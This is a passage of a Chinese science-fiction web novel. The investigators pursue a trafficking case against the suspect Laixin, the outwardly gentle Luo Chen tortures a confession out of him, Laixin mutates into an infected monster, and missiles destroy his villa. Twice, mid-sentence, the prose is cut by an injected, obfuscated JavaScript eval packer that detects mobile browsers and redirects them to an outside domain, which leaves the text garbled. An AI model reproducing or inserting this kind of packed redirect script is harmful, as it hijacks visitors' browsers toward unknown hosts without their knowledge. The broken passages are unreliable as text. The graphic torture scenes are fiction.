“行了行了，”徐牧被那律师吵得头疼，一边稳住顾知越一边道：“你们不就是要保释嘛，手续走完赶紧滚。” 现在虽然确定了莱辛的嫌疑，但无法正式立案，并且案件特殊，对方还是能被保释出去。 那边的莱辛好不容易被扶着起来，骂骂咧咧地冲上去道：“你个混蛋，你竟然敢动手——” 触及顾知越的目光，他的声音戛然而止——对方是真的敢，甚至敢杀了他。 理性终是战胜了感性，莱辛眼角动了动，没有再多说什么，被律师拉扯着离开了审讯室。 “那家伙，那家伙想杀了我，你看见没有？？”莱辛不安地向身边的律师的低声道。 “没事的莱辛先生，他只是吓吓人，这里是联盟，您是合法的纳税人，他们不敢真的动手的。” “真的？” “当然，”律师胸有成竹道：“您不用担心，这个案子很好办的，您没有危害任何人的利益。” 律师的话给莱辛吃下了一枚定心丸，心中的不安慢慢消散。 是的，他没有做错任何事，甚至该是十分正确的事才对。 就在莱辛一边给自己鼓励一边埋头大步往外走的时候，路上忽然瞥见了洛尘的身影，对方似乎是好奇跑出来玩的，旁边还跟着一个唐彦羽，想劝人回去又不敢劝的模样。 本来顾知越为了安全起见特地把人留在隔壁办公室，但不知道为什么最近一直乖巧的洛尘在对方离开后不久却执意跑了出来，还刚好和莱辛碰了面。 那道身影十分亮丽惹眼，莱辛想不注意都难，不过现在他正在气头上，也没那种心思，于是便抬头恶狠狠地瞪过去，想要吓一吓顾知越身边的这个漂亮废物。 意外地是面对那凶神恶煞的脸，原本看着怕生的洛尘却没有任何反应，湛蓝色的眼睛中波澜不惊。 就在莱辛有些奇怪的时候，那双眼睛中神色微变，若深不见底的海洋忽然搅起暗流，随时吞噬一切—— 不同于顾知越那种纯粹的冷，那是一种真正居高临下的蔑视，恍若神明于罪人的审视，压迫感十足。 清算罪恶，天降神罚。 莱辛止不住呼吸一抖，全身僵住。 “小尘。” 后边忽然传来顾知越的声音，并且正在快速往这边赶来，那股压迫感骤然消失。 眼看其余人就要过来，律师不想惹麻烦，赶紧拉着还没能完全回过神的莱辛匆匆离去。 顾知越眉头紧锁，快步赶到洛尘面前，瞥了一眼远去的莱辛暂时没有理会，立刻小心查看洛尘的情况。 确认对方没什么事，顾知越稍稍松了口气，略微正了脸色，严肃道：“不可以乱跑。” 虽然平时顾知越对他都纵容得很，可现在不是在家里，有必要好好强调一下，面对洛尘难得严肃起来，并且对视数秒都没有败下阵来。 徐牧：哦吼，厉害啊。 看见对方如此下定决心的严肃模样，洛尘只是歪了歪头，随即靠近一步直接抱住了人。 顾知越愣了一下，故作严肃的表情瞬间溃散，感受到对方在自己怀里的温度，顿时没了任何教育的心思，下意识回抱住对方轻轻拍了拍，最后无奈道：“好，是我的错，下次我不会离开太久的。” 徐牧：……哦吼，高估了。 “行了，先走吧。”抱着人哄了一会儿，顾知越才偏头朝着徐牧道。 徐牧算是见怪不怪，点头应下，不过又想到什么，眼神示意了一下莱辛离开的方向道：“那个家伙……怎么说？” 顾知越眼神微变，淡声道：“先让技术部追踪那个神秘的联系账户吧，他八成只是个铺路的，后头肯定有人。” ——— “什么叫不可以？？凭什么不可以？！” 富人区的独栋别墅中，莱辛听着电话里律师的讲述十分不耐烦。 “抱歉先生，他们那边应该是申请到了禁止令，虽然您已经得到保释，但有不少权力都在受限制的阶段，所以……” 莱辛听到这些就头疼，干脆打断了对方不耐烦道：“行了，反正你解决，必须快！” 说完直接挂断了电话，莱辛揉了揉额头，回忆起白日里的经历和自己目前的处境，越发烦躁，随即找到酒厅准备喝酒解闷。 已经是深夜，屋内照明系统自动切换成了柔光模式，酒厅吧台的周围特地模仿酒吧氛围，灯光更 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莱辛正怀疑调酒系统是不是中病毒了，准备去投诉，然而这么一刺激他忽然反应过来：自己还没有来得及点酒，系统应该根本没有启动才对。 那刚刚……是谁调的酒？ “不喜欢吗？” 还没等莱辛彻底反应过来，耳边忽然传来一个带着笑意的声音，他浑身一怔，控制不住地偱声看去。 一个人正站在吧台内微笑着望过来，乍一看就像一名酒吧的调酒师正在询问自己的顾客，昏暗的灯光都遮掩不住的绮丽容貌，足以让人对其调制出的任何酒水甘之如饴。 如果莱辛是第一次见到这人，如果他是在酒吧，如果他已经喝醉，那此刻他或许会有种艳遇的欣喜若狂。 但莱辛不是第一次见到这人，他不在酒吧也没有喝醉，所以此刻他只感到一股瘆人的恐惧慢慢蔓延全身…… 洛尘看着眼前人越来越难看的脸色，在对方猛然起身要逃的前一秒果断出手，“哐当”一声直接把人踢翻在地。 “酒里加了糖果，就是你公司楼下买的，挺好看的，可惜实在不怎么好吃，我只好带出来这么处理掉了。” 洛尘慢条斯理地走到莱辛身边，一脚踢飞对方慌乱从口袋里拿出自卫的微型手枪，随口聊着天。 “怎么，很不好喝吗？” 地上的人影趴着喘息了两口，下一刻莱辛继续奋起反抗，抓起掉落在地上的水果刀，奋力跃起，转身挥刀而来！ 洛尘面色不改，微微偏头躲开攻击，随后反手抓住对方的手肘，一个巧劲转了方向，那柄刀不受控制地朝着莱辛的脖子划去！ “啊啊啊——！” 刀刃在瞬间划过脖子，冰冷至极的死亡触感让莱辛丢掉水果刀疯狂尖叫起来，洛尘有些嫌弃地躲开了一点，任由对方双手死死捂住脖子没命地吼叫。 刀伤其实很浅，就破了点皮，没有危险。 听着那撕心裂肺的尖叫，洛尘无奈道：“别喊了，又不是致命伤，死不了。” 然而还没等莱辛的理智完全回归，下一秒，刚刚那柄刀突然精准无误地刺入他的胸口！ “这才算是致命伤。”洛尘笑道。 这一幕让莱辛瞬间安静下来，他茫然地看着胸口那柄刀，不敢出声甚至不敢呼吸，足足愣了十秒后跌坐到地上，颤抖着慢慢抬头。 洛尘贴心道：“别紧张，致命伤但不是一击致命，一时半会儿不会死的。” 莱辛张了张口，大起大落后他终于冷静了一点，沙哑道：“你……你想做什么？” 洛尘随手拿了个椅子坐到莱辛对面，回复道：“很简单，继续白天的审讯，毕竟白天的时候你十分不配合。” 明白对方是来查案子的，莱辛费力地呼吸两口气，脱口而出：“那两个警察让你来的？你、你这是私闯民宅，强行逼问……现在我说的话都不可以作为证据，你问了也没用的，法律不认可——啊！！” 莱辛的声音戛然而止，取而代之的是沉闷痛苦的哀嚎。 洛尘毫不犹豫一脚踢翻了对方！紧接着踩住莱辛的肩，只要稍稍往下就可以踢到胸口的刀，瞬间要了他的命！ “我知道你很懂法律，莱辛先生，但我同样希望你清楚一点……” 洛尘居高临下地俯视着地上痛苦哀嚎的人，血色的眼眸清冷幽然，一字一顿道：“你说‘异种不具有人权’，那么在异种眼中，你也同样不具有人权。” 10. 变异 “叮咚，上司专属热线，这个不能不接，会要命的；叮咚，上司专属热线……” 来自上司的专属提示音响起，上一秒还在梦乡的唐彦羽一个鲤鱼打挺起来，脑袋懵了两秒，紧接着赶忙调出屏幕。 屏幕上只有简单的一句话：速来。后边附加一个定位，发件人是徐牧。 唐彦羽愣了愣，又看了一眼时间，凌晨四点。 这个点儿喊人，估计是真有什么急事，唐彦羽打起精神穿好衣服即刻出发。 由于尚在凌晨，一路过来唐彦羽都没碰见什么人，而到了地方后他才后知后觉地认出，这里就是莱辛的住所。 难道老大终于忍不了了，准备直接潜入莱辛家里收拾他？不过这样有点不符合规矩吧，但是想想那家伙确实欠揍，蒙头打一顿不亏。 唐彦羽越想越有可能，甚至开始在心中演练给人套麻袋的流程，靠近一看却发现别墅的大门并没有关闭，甚至周围的电力系统都处于休眠状态。 难道老大他们已经进去了？ 唐彦羽忍不住好奇，慢慢走近几步，缓缓推开门张望。 屋内很暗暂时没有看见人，别墅系统也不知道是休眠还是坏掉了，这么一个外人进入都没有触发任何反应，唐彦羽莫名有点不安起来，又走进了一点，犹豫了一下开启了调查记录仪。 这时不远处传来脚步声，有人靠近。 那脚步声并没有刻意掩饰，有条不紊径直而来，唐彦羽下意识就以为是徐牧，不由得松了口气，抬头刚准备打招呼。 “队——” 目光触及来人的一刹那，唐彦羽动作一僵，声音死死卡住。 洛尘自黑暗中走来，夜风吹起他的白发，如同拂起一捧清雪，眉眼含笑，冷冽又清美。 唐彦羽看见他的一瞬间，先是本能地惊艳，随后立刻警惕起来，张了张口，轻声道：“小……小尘？” 他强行稳住情绪，接着四处看了看，强颜欢笑道：“你是和顾少将一起来的？他人呢，怎么你一个人在这儿……” 洛尘看他不安的样子笑了笑，随和道：“没有，我一个人。” 这是唐彦羽第一次听见洛尘的声音，音色悠然亲和，很是好听，但他的脸色反而更差了。 “抱歉这么晚了把你喊过来，实在是有些事需要你帮忙，而且刚好我也有些问题想问你。” 这话算是坐实了刚刚的信息是洛尘伪造的，唐彦羽看着面前的人愣了两秒，接着下意识就要跑，可就在他转身的那一刻，眼前忽然一闪，腰间的配枪猝不及防被抽出，再一眨眼就看见枪口正对着自己的眉心。 唐彦羽立刻停止了动作。 不过洛尘举着枪明显也只是唬人的，见人不跑了便将手放下，玩笑道：“别紧张，我又不吃人，我说了，只是拜托你帮个忙，顺便问个问题。” 唐彦羽看了看他，抿了抿唇，小心翼翼道：“你、你想问我什么？” 洛尘望着他，转了转手上的配枪，接着反手送到对方面前，缓缓道：“告诉我，在飞船的观景舱里，你昏迷之前开了几枪？” 这个问题不久前调查员问过他，那时候唐彦羽坚定地说是六枪，然而现在…… 唐彦羽看了看配枪又看了看面前的洛尘，深吸一口气，慢慢道：“三枪。” 他无比肯定，自己只来得及开了三枪。 洛尘面色不改，继续道：“那你和调查员说的几枪？” “……六枪。” 如果不是唐彦羽在审讯的时候故意掩盖，那么洛尘可能在那时就会暴露。 听见当事人的回答，洛尘靠近一步追问道：“为什么？” 唐彦羽望着面前的人，沉默了片刻，最终道：“因为……你救了我的命。” 他其实很清楚，是洛尘重伤了感染体，否则自己肯定撑不到顾知越赶来，并且对方明明不用救他，只要当时顺势跑走，洛尘反而不会有任何暴露的风险。 两人对视几秒，随后洛尘低头笑了笑，手上的枪一转，交还给了唐彦羽—— 他接受了这个回答。 唐彦羽迟疑地接过配枪，面前的洛溪转身绕过人，刚刚的事完美翻篇，他招呼着人道：“好了，问题结束，现在到你帮我忙了。” 说完快步走入屋子深处，唐彦羽顿了顿，还是决定跟了上去。 “你为什么在这里？那个莱辛呢……他不会死了吧？” 唐彦羽现在有一堆的问题，但最后也只敢小心挑选几个问出来，洛尘在前边带路，听见问题看了对方一眼，没有回答。 唐彦羽心中警铃大作，压低声音道：“他不会真的死了吧？？” 此时两人已经来到了酒厅，洛尘见他着急的样子安慰道：“怎么可能，放心没有死，咯，就在那儿呢。” 唐彦羽下意识朝着指示的方向看去，第一眼没看见人，第二眼才发现躺在桌脚的黑影—— 此刻的莱辛早没有白天嚣张跋扈的模样，颓废狼狈，这么大一个人蜷缩在那里，死死捂住胸口，身上有血迹但并不多，乍一眼倒也没看见什么被虐待的痕迹，但眼中又惊又怕，尤其是看见洛尘后，活像见鬼了一样浑身发抖，反而在发现唐彦羽的时候满眼庆幸欣喜，好像见到了亲人。 唐彦羽顿了一下，试探性问道：“他……怎么了？” 看这样子，没死但也快了。 洛尘挑了挑眉道：“没怎么啊，这不是‘拜托’他配合调查吗，你放心，他现在很配合。” 说着洛尘对着莱辛笑了笑，道：“说的是吧，莱辛先生。” 见对方问过来，莱辛压根想都不敢多想，连忙点头。 “你要的‘见证人’我已经给你找来了，现在可以详细谈谈案件经过了吗？” 莱辛连连点头：“是、是！” 唐彦羽下意识追问：“什么见证人？” “就是你啊，”洛尘抬手指示了一下，“你的记录仪开着吧，记得上交的时候剪辑一下。” 这下子唐彦羽也懂了，怪不得莱辛看见自己的时候那么激动，估计是洛尘应许了他说出真相就不死的条件，而他害怕对方违约，便要求找一个见证者。 毕竟警察只会抓他审他，而洛尘那是真的敢要他的命。 不过这也真的是病急乱投医，唐彦羽悄悄看了一眼洛尘——实际上如果洛尘真要杀对方，唐彦羽可拦不住他，莱辛顶多算是求个心理安慰。 “首先第一个，和你联系的那个人究竟是谁。” 莱辛不敢有一丝迟钝，快速道：“和我联系的是城南黑市的老大，盖亚，他在边境地区还挺有威望的，中下层地区的人基本一问都知道。” “我是负责挑选的，选出合适的人员后就会把名单和信息交给他，然后伪造官方信息引那些人出来，一般他会派人在列车上动手，随后由我进行善后。” 这也就是为什么徐牧一开始怎么都找不到线索，实际失踪人员的路线是有交集的，但莱辛暗中操作，修改了他们的乘车信息，导致最后警方收集到的行程杂乱无章。 唐彦羽皱了皱眉，忍不住追问道：“你们抓人的标准是什么？” “没什么特殊标准，首先一定要是异种，再者就是变异的种类越多越好。” 唐彦羽更疑惑了，“你们抓异种人要做什么？” “他们……他们好像是要做什么研究，很神秘，我也不是很清楚。” 唐彦羽还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029875|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想再问，但洛尘似乎对这些不感兴趣，直接道：“那些失踪的人呢，他们现在在哪儿？” 莱辛抿了抿唇，为难道：“这我真的不清楚，后期交接都是由盖亚完成的，你们可以去找他，他后头还有一群人呢，肯定位高权重，估计牵扯到好多大人物，而且……” 莱辛极力描述着背后的大人物的势力，然而洛尘忽然走近一步，他瞬间噤声。 “我不关心这些，”洛尘的语气沉了下来，“我只关心失踪的人现在在哪儿。” 在这股视线之下莱辛嘴唇发抖，尝试了好几次才出声：“我、我真的不知道。” 洛尘眼中冰冷，最后问道：“他们还活着吗？” 一种死亡的恐惧油然而生，莱辛想说不知道，但极速加快的心跳甚至让他开不了口。 “我……我真的……” “噌！”的一声，一点寒光闪过，莱辛手上顿时传来剧痛，他呼吸一滞，随后大声痛呼起来—— 一柄短刀狠狠刺入他的手心，直接贯穿，把莱辛的手掌钉死在了地板上！ 惊呼声吓得唐彦羽一个激灵，脸色发白的看着两人。 “啊啊啊！”莱辛嘶吼着哭诉道：“别！你承诺过的，说出来就放了我……” “对，”洛尘丝毫不理会对方的求饶，转手一把拔出短刀，任由鲜血涌出，冷冷道：“但你在撒谎。” 听到这个莱辛的声音顿了一下，惊恐地望过去，他还想反驳什么，而洛尘已经站起身，居高临下地俯视着他。 “一个混混头子不足以对你造成很大威胁，那所谓背后的大人物也不至于让你唯命是从，从头到尾你都在顾左言他，丝毫不解释自己的动机。” 洛尘面无表情，一脚把人踢翻。 “到底是什么让你在面对要被我杀死的威胁下还要继续隐瞒，那个所谓的研究和你有什么关系？” 洛尘踩住莱辛那只受伤的手，“我不在乎你的顾忌和想法，死亡威胁也好信仰追求也罢，我只会告诉你，再不开口接下来就是生不如死。” 说着踩踏的力道加重，强烈的疼痛让莱辛几乎缺氧，大脑混沌之际，他看着那双血色的眼睛，下意识遵从对方的命令，脱口而出—— “研究室就在首都星球！他们在……在……” 顷刻间，莱辛的声音像是被强制快速压缩，最后只剩下断断续续的气音吐出来，表情扭曲，甚至不再顾及胸口和手上的伤，翻过身头顶着地面，像河虾一样把自己缩起来，拼了命地吐气。 空气只出不进，听不见吸气只听见吐气，光听声音便感觉肺已经压缩到极致，让人怀疑他下一秒就会窒息而亡。 洛尘察觉不对劲，微微皱眉，紧接着立刻靠近，出手想要把人翻过来查看情况。 而就在这时，黑暗中猝不及防出现一阵骨骼错位的闷响，有什么东西爆裂开来，面前的莱辛手臂突然抽出，血肉猛长，以一种诡异的角度骤然袭来！ 洛尘目光一凝，以分毫之差迅速避开袭击的手臂，而那只手已经变得漆黑坚硬，五指细长如利刃，堪堪从侧边划过便割断了洛尘几缕发丝。 骨骼错位的异响还在继续，甚至愈演愈烈，洛尘愣了一瞬，当机立断迅速后退，趁着两只异化的手臂一同扫过来前，拉着不知所措的唐彦羽紧急闪避。 “怎、怎么会……” 唐彦羽不由自主瞪大眼睛，看着就在眼前快速变异壮大的人影，骨骼疯长，皮肉崩裂开来，接着分泌出黑色的粘液，原本的眼球炸开，黑色的血肉挤压出新的眼球……几个呼吸之间原本的人就已经变成了彻底的怪物。 这一幕的冲击太大，唐彦羽颤颤巍巍地喃喃道：“莱辛……他、他被感染了？” 11. 一波未平 令人闻之色变的RAD污染型病毒，在知道其危险、恐怖且几乎无药可医的同时，大多数人也熟知它的感染症状。 尤其是唐彦羽这样的公职人员，员工手册的常识一栏清晰地写明了其发病过程，大写红字加粗，每年考核必考项目，指定送分题，所有人倒背如流—— 病毒一般通过□□传播，感染者会在一到两天内开始发烧，精神力迅速下降，五感逐渐缺失，期间感染者有一定可能承受不住病毒而直接死亡。 而在四到五天后感染者开始发生身体变异，变异程度随着时间加剧，一般会在第七天完成彻底异化…… 这些年年默写、年年抽查，几乎已经刻在脑门上的内容此刻却完全被推翻！ 莱辛白日里的身体状态好得不行，能蹦能跳能骂人，但却在不到三分钟的时间里就异化成了完整形态的感染体，这种情况根本闻所未闻！ 亲眼看着一个人在极短的时间内异化成怪物，这一幕让唐彦羽半天都没办法回过神来。 感染体没有理智，完全凭着本能迅速进攻，嘶吼着飞扑而来，洛尘反应极快，一把拽走吓呆了的唐彦羽。 感染体扑了个空，但它在半途将长尾一甩，狠狠朝两人劈过来！ 洛尘顺手推开唐彦羽，单手握着短刀，强行将那只长尾挡住，下一秒一个旋刀，反手斩断！ “哐当”一声，感染体瞬间吃痛，大叫一声，趁着这个空档洛尘旋身借力，直接把感染体踢飞了出去。 巨大的身影撞到酒柜上，无数的昂贵的酒水噼里啪啦砸了下来，感染体那条尾巴中段出现了一道深深的伤口，黑色粘稠的血液顺着滴下，可惜只是受伤，并没有彻底砍断。 洛尘瞥了一眼手上已经断裂报废的短刀，面无表情，随手丢掉。 刚刚他的角度和力道都很完全，可惜武器本身不行，承受不住这冲击。 唐彦羽一愣，惊道：“这刀怎么就断了？！”什么装备啊，竟然在这时候掉链子！ 洛尘倒是从容，随口道：“就一把捡的水果刀，要它对付感染体也实在难为它了。” 此话一出唐彦羽才意识到，洛尘手上一直拿着的只是一把水果刀，先前看对方拿着那刀分筋断骨、削铁如泥的，他还以为是什么先进武器呢，结果只是洛尘随手捡的吗？？ 眼看那感染体就要缓过劲来，唐彦羽调动自己毕生所有的智慧和勇气，当机立断在地上一个打滚到了洛尘身边，双手奉上自己的配枪—— “我打不过它，救命！” 他十分有自知之明！ 送枪送得这么果断，惹得洛尘笑了一下，甚至还抽空调侃了一句：“不怕到时候调查起来没法解释？” 那边的感染体已经晃晃悠悠地站了起来，张牙舞爪地准备冲刺，唐彦羽心惊胆战，干脆低头紧闭双眼，惊恐道：“命要紧——！” “砰砰砰！” 就在唐彦羽感觉感染体的喘息已经近在咫尺的时候，手上忽然一轻，枪响瞬间盖过喘息声，随后只听见“扑通”一声闷响，屋子里的一切都安静下来。 唐彦羽愣了愣，试探性地睁开一只眼睛，只见洛尘举枪的手正慢慢放下，再稍稍一瞥，那只狰狞的感染体刚刚好躺在脚边。 感染体身上三处隐蔽的眼球破裂，黑血流了一地。 唐彦羽眨了眨眼，回过神后赶紧后退几步远离，不可置信地看了看感染体又看了看洛尘，“就……这么完了？” 就三枪，刚刚还恨不得活吞人的怪物就这么死了？看这个变异程度起码是个三级吧，还是自己认错了？ “没死呢。”洛尘走近，踢了踢那感染体，那东西似乎无意识抽搐了一下，吓得唐彦羽一个激灵。 “非一级感染体，同时击中致命点后会大大降低活性，再加上这又是个刚异化没多久的，直接残了。” 唐彦羽对于实战并没有什么经验，忍不住问道：“这么简单吗？那为什么军队清理起来那么麻烦？” 洛尘瞥了他一眼，笑道：“没经验、找不准、速度慢。” 每个感染体的致命点位置不同，一般很隐蔽，数量也有差异，且必须同时击碎才能达到重伤的效果，在实战之中很难做到。 甚至联盟在训练士兵的时候都不推荐用这种办法，毕竟实战的时候要防备感染体袭击就够麻烦了，要是还分心去找那些个致命点，可能怎么死的都不知道。 想明白这些唐彦羽不由得心惊，这到底是得有多少实战经验才能这么迅速精准地应对。 他忍不住悄悄打量起洛尘，对方在那感染体身边观察，丝毫不害怕这个还时不时低吼抽搐的怪物，左踢一踢右看一看。 “看我做什么？” 正在认真观察感染体的洛尘猝不及防问出这一句，随后抬眼望过来。 唐彦羽愣了愣，大脑高速运转，果断道：“你好看。” 很没什么技术含量的奉承，甚至可以说都不算奉承，更像某种客观事实，然而洛尘竟对此挺适用的，高高兴兴地收下这句话。 眼看对方没有再追问，唐彦羽小心凑上去，试探性问道：“那个，接下来我们该怎么办？” 洛尘简单检查完感染体，随口道：“这里都这样了，当然是由你去上报了。” “啊？那该怎么解释啊？” “随便，就说你半夜睡不着刚好到这附近散步，恰好碰见了莱辛，他良心发现要交代实情，然后你顺利录下语音上交，哦，对了，那个记录内容记得剪辑一下，把我的部分给删了。” “……那这个呢？”唐彦羽指了指地上这个半死不活的感染体。 “简单，莱辛突然变异，你英勇抵抗并全力击杀，还能记个功呢。” 听着洛尘随口编完，屋内安静了几秒，唐彦羽茫然指了指自己，“……我？” “对啊，你。” 唐彦羽：“……” 见洛尘满眼肯定地望着自己，唐彦羽不敢反驳。 对方内心默默崩溃的模样很有趣，洛尘正打算再调侃两句，但不知为何他脸色一变，下一秒猝不及防抬手，朝着窗外的夜色连开数枪！ “砰砰——哗啦啦！” 南边的落地窗瞬间破碎，冷风灌入，巨大的声响吓了唐彦羽一跳。 “怎么——” “跑！” 还没等唐彦羽回过神，那原本安静的黑夜之中忽然飞出什么东西，远远只看见一丝丝火光，越靠近火光越亮，犹如无数流星砸了进来—— 要死！是微型追踪弹！ 在那无数追踪弹闪着火光飞速冲进来的刹那，洛尘抓住唐彦羽，果断加速冲破落地窗，从三楼一跃而下！ “轰隆——！” 炽热的焰火瞬间爆炸开来，地面颤动，甚至感觉连空气都跟着颤抖起来，剧烈的声音震得大脑一时混沌，耳鸣不断。 无数碎石残渣噼里啪啦地飞溅下来，唐彦羽脑子里空白了好一会儿，只感觉到自己落地后连滚了好几个圈，最后滚进灌木丛里才堪堪停住。 “呸呸呸……” 唐彦羽呛了一口鼻的灰尘和杂草，晃晃悠悠站起来，半晌没能清醒，别墅本来正在休眠的系统因为爆炸而被强制唤醒，第一时间拉响警报并直接报警。 洛尘稳稳落到草坪，借力缓冲躲过第一波碎石和冲击波后，迅速锁定方向，朝着不远处的树丛深处接连开枪。 树丛之中无数鸟雀被惊飞，然而除此以外之外再无其他声息。 啧，跑了。 洛尘皱了皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029876|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉，回头瞥了一眼已经几乎全部被炸成灰的三楼，拎起扑到灌木丛的唐彦羽，沉声道：“快走。” 微型追踪弹的数量刚好且定位及其精准，看来是早有准备的毁尸灭迹，而且不管是莱辛的异变还是追踪弹发射的时间卡得都实在太好了，这里恐怕一直处于监控之下，此地不宜久留！ 唐彦羽这会儿依旧分不清东西南北，但他够听话，不管三七二十一跟着洛尘跑就对了，两人趁着尚未有人发觉前迅速远离现场。 ——— 夜色褪去，曦光破晓。 等唐彦羽的耳鸣逐渐消失，前头的洛尘终于慢慢降低了速度，最后停了下来。 洛尘环顾了一下四周，确认位置之后转身道：“可以了，就到这边吧。” 得到指令，唐彦羽像是某种控制解除了一样，直接“噗通”一声跌坐到地上，累得大口喘息。 “要命，太要命了……这一晚上太特么要命了……” 洛尘倒是面色如常，随意坐到路边的长椅上，还不忘叮嘱：“记得把莱辛死前那段录音剪辑上传。” 唐彦羽又喘了半分钟，询问道：“那……那他们如果问我我该怎么回？” “反正人都死了，你匿名上传不就好了，消息送到就行，做好事不留名嘛。” 很简单但有效的办法，反正莱辛都莫名变异了，人也死了，房子也炸了，已经够乱了，再多个来历不明的录音没毛病。 唐彦羽费劲地抬起手召出悬浮屏，简单修改了一下录音，又问道：“传给谁？” “都行，你们队长，他或者顾知越。” 唐彦羽照做，剪辑完发送，随后终于想起来抬头环顾四周，这才意识到这里大概是他们住的酒店附近的公园。 “为什么在这儿，不回去吗？” 迎着曦光，洛尘的眼睛已经变回了原本的湛蓝，坐在长椅上偏头笑道：“等顾知越来找我啊。” 容颜熠熠生辉，眸中若晴空海洋，此刻的眼前人适合一切代表绚烂和美好的词。 唐彦羽不由自主愣了愣，下意识问道：“能找到吗？” “当然，”洛尘毫不犹豫道：“他肯定能找到我。” 犹豫了片刻，唐彦羽试探性询问道：“你……你不打算直接告诉顾少将吗？” “什么？” “就是……这件事本身就是联盟不对，如果和顾少将好好商量的话，我觉得他应该也会帮你的。” 虽然没敢直接问，但唐彦羽也能猜到，洛尘八成是存护帝国的人，为了调查而特地潜入，而如今又为了方便行动找到自己，那不如一步到位直接和顾知越沟通，反正肯定比自己这个小组员靠谱。 对于这个提议，洛尘直接否定道：“我暂时不打算告诉他。” 唐彦羽顿了一下，稍稍有些不解：“为什么？” 怎么看顾少将也比他这个小组员有用得多，还是说难道自己在洛尘眼里其实有什么过人之处？ 正当唐彦羽内心开始逐渐膨胀的时候，洛尘看了看他，忽然笑着张开双臂，似乎想要讨个拥抱。 眸色清澈，温柔缱绻，完全是印象里天真可爱的小人鱼。 唐彦羽心中微动，刚想靠近，但不久前的记忆莫名涌现，那双夜色中的红瞳实在太过难忘，血色的黑夜与此刻清澄的曦光形成一种割裂，他几乎是本能地后退了一步。 洛尘看在眼里，像是早有预料，笑了笑准备收回手臂。 而就在唐彦羽不明所以的时候，身后忽然传来熟悉的声音，语气里满是压不住的慌乱与急切，快速朝这边赶来—— “小尘！” 顾知越的身影骤然出现，从唐彦羽身侧闪过，顺着洛尘尚未完全放下的手毫不犹豫、紧紧抱住了人。 12. 探查 “顾、顾少将……” 唐彦羽看见人愣了半晌，随后才后知后觉地喊人，不过顾知越并没有关注到他，抱着怀里人稍稍平复下心情后，立刻小心查看对方的情况。 “喂。” 正在唐彦羽发呆的时候，一只手突然拍了一下他的后脑勺，接着是一阵杂乱的脚步声，他赶紧回头，只见徐牧正看着他，后边还跟着姗姗来迟的其他的组员。 “队、队长！”想起晚上的事，这会儿唐彦羽看见徐牧莫名有些心虚。 “怎么回事？大清早你人就不在，”徐牧眉头紧锁，又看了一眼自己那个和劫后余生一样的发小，压低声音问道：“还有你怎么和小尘在一起？是你把他带出来的？” “没有没有！”唐彦羽疯狂摇头加摆手，“我就是早上出来散步，然后刚好在这里遇见小尘。” “不是你就好，早上这家伙找人差点没找疯。” 面对队长的信任，唐彦羽心虚地笑了笑。 徐牧又上前一步，主动和顾知越解释道：“应该是小尘自己跑出来玩了，人没事就好。” 顾知越在确定洛尘没什么事后终于稍微松了口气，蹲下身和面前的人平视，欲言又止，像是在酝酿着什么。 而洛尘似乎完全没体会到对方的着急，好奇地眨了眨眼睛。 两人对视片刻，最后顾知越微微皱了皱眉。 就在所有人以为经过这一出顾知越多多少少要教育一下洛尘的时候，他却只是叹了口气，温声自责道：“我的错。” 众人一愣。 “下次我注意，我们回去好不好？” 说着顾知越伸出手，十分温和地请示，等待原谅。 洛尘看了看眼前的人，对方眉眼间的焦虑担忧尚未完全散去，但望过来的目光已经足够温柔，甚至特意蹲下身放低姿态，没有一丝不满或者责备。 片刻后，洛尘笑了笑，握住了面前的那只手，顾知越立刻回握住，接着半揽着人慢慢站起身。 后边看见这一幕的调查组队员神色各有不同，一个个缩起脑袋悄悄交头接耳。 “哇，顾少将脾气这么好的吗？” “那还能怎么样，你难道能舍得骂小尘？” 那人摸了摸脑袋，斟酌道：“这个肯定舍不得，但多少会说几句吧。” 有人感慨：“真的超溺爱啊……队长，顾少将原来私下里都是这么和善的吗？” 徐牧：“……”我能说他因为一句话把我关门外吹半个小时的冷风的事吗？ 徐牧表情复杂，对于发小的双标行径选择暂时视而不见，正打算让众人先行回去，然而这时电子屏幕突然弹出消息，显示紧急通知。 他愣了一下，快速扫过，越看脸色越差。 “怎么了？”顾知越注意到这边的异样，此刻他的心绪已经完全恢复稳定，主动询问道。 徐牧眉头紧锁，沉声道：“莱辛那儿出事了。” 对此顾知越只是顿了一下，冷静道：“他死了？” 徐牧一边上传信息一边深吸一口气，道：“准确来说是家里被炸了，不过人八成也是死了，赶紧整队，有得忙了。” ——— “爆炸发生在凌晨五点三十分左右，初步判断是有人使用了微型追踪弹，西南方向，发射距离大概在五公里以上。” “在此之前莱辛的别墅安保系统显示休眠，应该是人为强制调至休眠状态的，不排除是嫌疑人所为。” “三楼的酒厅完全被摧毁，只能提取到一些生物细胞，现在已经送到鉴证所，但这里的设备有限，报告需要一段时间，信息部正在调取附近监控……” 调查员将目前的线索一一列出，徐牧听完点了点头，随后招呼人加紧时间搜集。 “昨天刚查到他头上，晚上就只剩灰了，六枚军队级别的追踪弹，到底是惹上什么人了？” 这种精度和威力的追踪弹可不是民间黑市上能随手买到的，恐怕后头的人不会简单。 徐牧看着资料，叹了口气，随后又想到了什么，皱了皱眉，压低声音试探性道：“会不会是……存护帝国那边知道了？” 